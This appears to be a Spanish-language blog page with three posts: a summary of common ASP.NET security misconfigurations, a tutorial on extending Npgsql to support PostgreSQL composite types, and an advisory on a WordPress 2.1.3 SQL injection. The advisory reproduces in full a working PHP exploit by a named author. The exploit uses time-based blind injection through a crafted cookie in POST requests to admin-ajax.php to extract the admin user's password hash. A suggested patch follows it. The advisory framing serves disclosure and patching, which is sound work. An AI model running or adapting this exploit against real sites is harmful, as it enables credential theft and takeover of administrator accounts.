10 errores más comunes que pueden causar problemas de seguridad en ASP.NET

Brian Sullivan, comenta los 10 errores más comunes que se cometen al configurar aplicaciones ASP.NET, estas configuraciones mal hechas podrían ayudar a los atacantes a vulnerar nuestras aplicaciones Web.

  1. Custom Errors deshabilitado: Al tener deshabilitado esta opción, los errores que se producen en la aplicación se muestran a todos. Los valores adecuados son On y RemoteOnly, en el primero se puede especificar páginas personalizadas para mostrar mensajes de error más amigables.
  2. Dejar habilitado el seguimiento de página (Tracing): Esta característica de ASP.NET contiene información bastante detallada de todo lo que pasa en la aplicación (registro de instrucciones relacionadas con el principio y el final de métodos de la ejecución, como Init, Render y PreRender; variables o encabezados de formulario y objetos QueryString, jerarquía de controles, estado de sesión y estado de aplicación). Un atacante puede utilizar toda esta información - accediendo simplemente a trace.axd - para lograr vulnerar nuestras aplicaciones, el valor adecuado para esta opción es:
    xml:
    <trace enabled="false" localOnly="true">
  3. Depuración habilitada: Tener esta opción habilitada, no sólo afecta al rendimiento de la aplicación, sino también que se muestran errores más detallados.
  4. Cookies accesibles desde código de cliente: Esto básicamente se refiere al uso de cookies del tipo HttpOnly, técnica que mitiga de algún modo el robo de cookies. Hay que tener en cuenta que esta característica no es la panacea para asegurar nuestra aplicación, además si se habilita esta opción a nivel de la aplicación, puede traer ciertos problemas al momento de trabajar con cookies en código de cliente.
  5. Cookies de estado de sesión enviadas por Url: El autor recomienda usar cookies para almacenar el ID de la sesión, de este modo se evitaría que un atacante suplante a un usuario válido al robar este valor usando algún sniffer - personalmente no veo mucha diferencia entre usar uno u otro método.
  6. Cookies de autenticación enviadas por Url: Ídem al anterior.
  7. No usar SSL para transmitir las cookies de autenticación: El uso de SSL en teoría permite la comunicación segura de datos.
  8. Uso de slidingExpiration en la autenticación: El tener este valor habilitado (<forms slidingExpiration="true">), permite que el tiempo de vida de la sesión vaya cambiando a medida que el usuario vaya interactuando con la aplicación. Sin embargo, con esta opción deshabilitada sólo se dispone de un tiempo fijo para la sesión, de esta manera si alguien suplanta a usuarios legítimos sólo tendrá un espacio de tiempo limitado.
  9. Cookies de autenticación no únicas: EL autor se refiere a usar diferentes valores para el nombre de la cookie de autenticación (<forms name="otro_valor">) en aplicaciones ASP.NET diferentes (para los casos en los que existen más de 2 aplicaciones en un mismo dominio)
  10. Almacenar las credenciales de usuario en Web.config:

Para mayores detalles pueden visitar los artículos originales.

Tipos personalizados de PostgreSQL y Npgsql

A raíz de una pregunta en la lista de discusión en español de PostgreSQL en el que hacían la siguiente pregunta:

Hola, tengo una función definida en mi BD postgresql que recive un array de un elementos de un tipo definido en la BD. (este tipo es un bigint y un character varying). Ahora mi duda es si el conector npgsql (Conector para .NET) soporta la posibilidad de llamar a una funcion con estas características.

Estos tipos compuestos en PostgreSQL se crean con la sentencia CREATE TYPE:

code:
test=> CREATE TYPE complex AS (
test(>     r       double precision,
test(>     i       double precision
test(> );
CREATE TYPE
test=> create table foo (item complex);
CREATE TABLE
test=> insert into foo values(ROW(5.2,1.6));
INSERT 0 1
test=> insert into foo values(ROW(2,-1));
INSERT 0 1
test=> select * from foo;
   item
-----------
 (5.2,1.6)
 (2,-1)
(2 filas)

Npgsql trae soporte sólo para los tipos de datos nativos que ofrece PostgreSQL, y trata a estos tipos compuestos como una cadena de caracteres. Si bien es cierto que se podría trabajar solamente con cadenas tanto para insertar como para recuperar este tipo de datos, esto probablemente causaría algunos problemas en la etapa de desarrollo, porque estos valores no serían comprobados en tiempo de compilación (más detalles); puesto que disponemos del código de Npgsql, es posible extenderlo sin mayores problemas para que soporte los tipos de datos que usemos en una aplicación X.

Lo primero, es definir una clase que represente el tipo que hayamos definido en la base de datos:

csharp:
public struct NpgsqlComplex
{
        private double _r;
        private double _i;

        public double I
        {
                get { return _i; }
                set { _i = value; }
        }

        public double R
        {
                get { return _r; }
                set { _r = value; }
        }

        public NpgsqlComplex(double r, double i)
        {
                _r = r;
                _i = i;
        }       
}

Luego se tiene que registrar esta clase en el método VerifyDefaultTypesMap de la clase NpgsqlTypesHelper:

csharp:
NativeTypeMapping.AddType("complex", NpgsqlDbType.Complex, DbType.Object, true,
        new ConvertNativeToBackendHandler(ExtendedNativeToBackendTypeConverter.ToComplex));

NativeTypeMapping.AddTypeAlias("complex", typeof(NpgsqlComplex));

y agregar un nuevo elemento a la variable TypeInfoList ubicado en el método CreateAndLoadInitialTypesMapping de la misma clase:

csharp:
new NpgsqlBackendTypeInfo(0, "complex", NpgsqlDbType.Complex, DbType.Object, typeof(NpgsqlComplex),
                        new ConvertBackendToNativeHandler(ExtendedBackendToNativeTypeConverter.ToComplex)),

Los métodos ExtendedNativeToBackendTypeConverter.ToComplex y ExtendedBackendToNativeTypeConverter.ToComplex se usan para convertir estos tipos compuestos desde .NET a PostgreSQL y desde PostgreSQL a .NET respectivamente

csharp:
// clase ExtendedNativeToBackendTypeConverter
private static readonly Regex complexRegex = new Regex(@"\(([-+]?\b[0-9]*\.?[0-9]+(?:[eE][-+]?[0-9]+)?\b),([-+]?\b[0-9]*\.?[0-9]+(?:[eE][-+]?[0-9]+)?\b)\)", RegexOptions.Compiled);
internal static Object ToComplex(NpgsqlBackendTypeInfo TypeInfo, String BackendData, Int16 TypeSize, Int32 TypeModifier)
{
        Match m = complexRegex.Match(BackendData);

        return new NpgsqlComplex(
                        Double.Parse(m.Groups[1].ToString(), NumberStyles.Any,
                                                 CultureInfo.InvariantCulture.NumberFormat),
                        Double.Parse(m.Groups[2].ToString(), NumberStyles.Any,
                                                 CultureInfo.InvariantCulture.NumberFormat));
}


// clase ExtendedBackendToNativeTypeConverter
internal static String ToComplex(NpgsqlNativeTypeInfo TypeInfo, Object NativeData)
{
        if (NativeData is NpgsqlComplex)
        {
                NpgsqlComplex complex = (NpgsqlComplex)NativeData;
                return String.Format(CultureInfo.InvariantCulture, "({0},{1})", complex.R, complex.I);
        }
        else
        {
                throw new InvalidCastException("Unable to cast data to NpgsqlComplex type");
        }
}

Finalmente, la clase de prueba para ver si todo funciona como debería:

csharp:
using System;
using System.Collections.Generic;
using System.Text;
using Npgsql;
using NpgsqlTypes;

namespace Demo
{
    class Program
    {
        static void Main(string[] args)
        {
            using (NpgsqlCommand command = new NpgsqlCommand("SELECT item FROM foo LIMIT 1", new NpgsqlConnection("server=192.168.1.20;uid=alex;database=test")))
            {
                command.Connection.Open();

                NpgsqlDataReader reader = command.ExecuteReader();
                while (reader.Read())
                {
                    NpgsqlComplex num = (NpgsqlComplex)reader["item"];
                    Console.WriteLine("{0} + {1}i", num.R, num.I);
                }
                reader.Close();

                command.CommandText = "INSERT INTO foo VALUES (@item)";
                command.Parameters.Add("@item", NpgsqlDbType.Complex);
                command.Parameters["@item"].Value = new NpgsqlComplex(15.5, -5);

                command.ExecuteNonQuery();
            }
        }
    }
}

Aunque el ejemplo es bastante trivial y tiene poco o nulo valor en aplicaciones reales, este ejemplo intenta mostrar uno de los beneficios del uso de Software Libre: el hecho de poder acomodar a nuestras necesidades las cosas que usemos.

Nota: Si alguien le interesa el ejemplo mostrado, puede descargar una versión modificada de Npgsql (para Visual Studio 2005) más el proyecto de prueba.

Sql Injection en WordPress

Actualización: Al parecer las versiones menores iguales a 2.0.10 también son vulnerables, por lo que es recomendable que actualicen por lo menos a 2.0.11-RC1 o hagan las correcciones del caso.

A los que todavía sigan usando la rama 2.1 de WordPress, ayer liberaron un exploit que aprovecha de manera remota una vulnerabilidad de tipo SQL Injection en wp-admin/admin-ajax.php

El exploit que muestran es el siguiente:

php:
<?php
error_reporting(E_ALL);
$norm_delay = 0;
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
// WordPress 2.1.3 "admin-ajax.php" sql injection blind fishing exploit
// written by Janek Vind "waraxe"
// http://www.waraxe.us/
// 21. may 2007
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
//=====================================================================
$outfile = './warlog.txt';// Log file
$url = 'http://localhost/wordpress.2.1.3/wp-admin/admin-ajax.php';
$testcnt = 300000;// Use bigger numbers, if server is slow, default is 300000
$id = 1;// ID of the target user, default value "1" is admin's ID
$suffix = '';// Override value, if needed
$prefix = 'wp_';// WordPress table prefix, default is "wp_"
//======================================================================

echo "Target: $url\n";
echo "sql table prefix: $prefix\n";

if(empty($suffix))
{
   $suffix = md5(substr($url, 0, strlen($url) - 24));
}

echo "cookie suffix: $suffix\n";

echo "testing probe delays \n";

$norm_delay = get_normdelay($testcnt);
echo "normal delay: $norm_delay deciseconds\n";

$hash = get_hash();

add_line("Target: $url");
add_line("User ID: $id");
add_line("Hash: $hash");

echo "\nWork finished\n";
echo "Questions and feedback - http://www.waraxe.us/ \n";
die("See ya! 🙂 \n");
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
function get_hash()
{
   $len = 32;
   $field = 'user_pass';
   $out = '';
   
   echo "finding hash now ...\n";
   
   for($i = 1; $i < $len + 1; $i ++)
   {
      $ch = get_hashchar($field,$i);
      echo "got $field pos $i --> $ch\n";
      $out .= "$ch";
      echo "current value for $field: $out \n";
   }
   
   echo "\nFinal result: $field=$out\n\n";
   
   return $out;
}
///////////////////////////////////////////////////////////////////////
function get_hashchar($field,$pos)
{
   global $prefix, $suffix, $id, $testcnt;
   $char = '';
   $cnt = $testcnt * 4;
   $ppattern = 'cookie=wordpressuser_%s%%3dxyz%%2527%s; wordpresspass_%s%%3dp0hh';
   $ipattern = " UNION ALL SELECT 1,2,user_pass,4,5,6,7,8,9,10 FROM %susers WHERE ID=%d AND IF(ORD(SUBSTRING($field,$pos,1))%s,BENCHMARK($cnt,MD5(1337)),3)/*";

   // First let's determine, if it's number or letter
   $inj = sprintf($ipattern, $prefix, $id, ">57");
   $post = sprintf($ppattern, $suffix, $inj, $suffix);
   $letter = test_condition($post);
   
   if($letter)
   {
      $min = 97;
      $max = 102;
      echo "char to find is [a-f]\n";
   }
   else
   {
      $min = 48;
      $max = 57;
      echo "char to find is [0-9]\n";
   }

   $curr = 0;
   
   while(1)
   {
      $area = $max - $min;
      if($area < 2 )
      {
         $inj = sprintf($ipattern, $prefix, $id, "=$max");
         $post = sprintf($ppattern, $suffix, $inj, $suffix);
         $eq = test_condition($post);
         
         if($eq)
         {
            $char = chr($max);
         }
         else
         {
            $char = chr($min);
         }
         
         break;
      }
     
      $half = intval(floor($area / 2));
      $curr = $min + $half;
     
      $inj = sprintf($ipattern, $prefix, $id, ">$curr");
      $post = sprintf($ppattern, $suffix, $inj, $suffix);
     
      $bigger = test_condition($post);
     
      if($bigger)
      {
         $min = $curr;
      }
      else
      {
         $max = $curr;
      }

      echo "curr: $curr--$max--$min\n";
   }
   
   return $char;
}
///////////////////////////////////////////////////////////////////////
function test_condition($p)
{
   global $url, $norm_delay;
   $bret = false;
   $maxtry = 10;
   $try = 1;
   
   while(1)
   {
      $start = getmicrotime();
      $buff = make_post($url, $p);
      $end = getmicrotime();
   
      if($buff === '-1')
      {
         break;
      }
      else
      {
         echo "test_condition() - try $try - invalid return value ...\n";
         $try ++;
         if($try > $maxtry)
         {
            die("too many tries - exiting ...\n");
         }
         else
         {
            echo "trying again - try $try ...\n";
         }
      }
   }
   
   $diff = $end - $start;
   $delay = intval($diff * 10);
   
   if($delay > ($norm_delay * 2))
   {
      $bret = true;
   }
   
   return $bret;
}
///////////////////////////////////////////////////////////////////////
function get_normdelay($testcnt)
{
   $fa = test_md5delay(1);
   echo "$fa\n";
   $sa = test_md5delay($testcnt);
   echo "$sa\n";
   $fb = test_md5delay(1);
   echo "$fb\n";
   $sb = test_md5delay($testcnt);
   echo "$sb\n";
   $fc = test_md5delay(1);
   echo "$fc\n";
   $sc = test_md5delay($testcnt);
   echo "$sc\n";
   
   $mean_nondelayed = intval(($fa + $fb + $fc) / 3);
   echo "mean nondelayed - $mean_nondelayed dsecs\n";
   $mean_delayed = intval(($sa + $sb + $sc) / 3);
   echo "mean delayed - $mean_delayed dsecs\n";
   
   return $mean_delayed;
}
///////////////////////////////////////////////////////////////////////
function test_md5delay($cnt)
{
   global $url, $id, $prefix, $suffix;
   
   // delay in deciseconds
   $delay = -1;
   $ppattern = 'cookie=wordpressuser_%s%%3dxyz%%2527%s; wordpresspass_%s%%3dp0hh';
   $ipattern = ' UNION ALL SELECT 1,2,user_pass,4,5,6,7,8,9,10 FROM %susers WHERE ID=%d AND IF(LENGTH(user_pass)>31,BENCHMARK(%d,MD5(1337)),3)/*';
   $inj = sprintf($ipattern, $prefix, $id, $cnt);
   $post = sprintf($ppattern, $suffix, $inj, $suffix);

   $start = getmicrotime();
   $buff = make_post($url, $post);
   $end = getmicrotime();
   
   if(intval($buff) !== -1)
   {
      die("test_md5delay($cnt) - invalid return value, exiting ...");
   }

   $diff = $end - $start;
   $delay = intval($diff * 10);

   return $delay;
}
///////////////////////////////////////////////////////////////////////
function getmicrotime()
{
    list($usec, $sec) = explode(" ", microtime());
    return ((float)$usec + (float)$sec);
}
///////////////////////////////////////////////////////////////////////
function make_post($url, $post_fields='', $cookie = '', $referer = '', $headers = FALSE)
{
   $ch = curl_init();
   $timeout = 120;
   curl_setopt ($ch, CURLOPT_URL, $url);
   curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
   curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
   curl_setopt($ch, CURLOPT_POST, 1);
   curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
   curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)');
   
   if(!empty($cookie))
   {
      curl_setopt ($ch, CURLOPT_COOKIE, $cookie);
   }
 
   if(!empty($referer))
   {
      curl_setopt ($ch, CURLOPT_REFERER, $referer);
   }

   if($headers === TRUE)
   {
      curl_setopt ($ch, CURLOPT_HEADER, TRUE);
   }
   else
   {
      curl_setopt ($ch, CURLOPT_HEADER, FALSE);
   }

   $fc = curl_exec($ch);
   curl_close($ch);
   
   return $fc;
}
///////////////////////////////////////////////////////////////////////
function add_line($buf)
{
   global $outfile;
   
   $buf .= "\n";
   $fh = fopen($outfile, 'ab');
   fwrite($fh, $buf);
   fclose($fh);
   
}
///////////////////////////////////////////////////////////////////////
?>

Los autores de este exploit recomiendan actualizar a la versión 2.2 de WordPress, sin embargo, esta nueva versión también tiene un problema similar que detallaré en su debido momento*. Si no quieren migrar todavía a la versión 2.2, la siguiente línea resaltada parece corregir este fallo (archivo wp-includes/pluggable.php):

php:
if ( !function_exists('get_userdatabylogin') ) :
function get_userdatabylogin($user_login) {
        global $wpdb;
        $user_login = sanitize_user( $user_login );

        if ( empty( $user_login ) )
                return false;

        $userdata = wp_cache_get($user_login, 'userlogins');
        if ( $userdata )
                return $userdata;

        $user_login = $wpdb->escape($user_login);
               
        if ( !$user = $wpdb->get_row("SELECT * FROM $wpdb->users WHERE user_login = '$user_login'") )
                return false;

        $wpdb->hide_errors();
        $metavalues = $wpdb->get_results("SELECT meta_key, meta_value FROM $wpdb->usermeta WHERE user_id = '$user->ID'");
        $wpdb->show_errors();

        if ($metavalues) {
                foreach ( $metavalues as $meta ) {
                        $value = maybe_unserialize($meta->meta_value);
                        $user->{$meta->meta_key} = $value;

                        // We need to set user_level from meta, not row
                        if ( $wpdb->prefix . 'user_level' == $meta->meta_key )
                                $user->user_level = $meta->meta_value;
                }
        }

        // For backwards compat.
        if ( isset($user->first_name) )
                $user->user_firstname = $user->first_name;
        if ( isset($user->last_name) )
                $user->user_lastname = $user->last_name;
        if ( isset($user->description) )
                $user->user_description = $user->description;

        wp_cache_add($user->ID, $user, 'users');
        wp_cache_add($user->user_login, $user, 'userlogins');

        return $user;

}
endif;

*: Tengo que decidir que hacer con mi vida 🙂 y ponerme al tanto de las cosas que estaba haciendo luego de estas dos semanas de ausencia.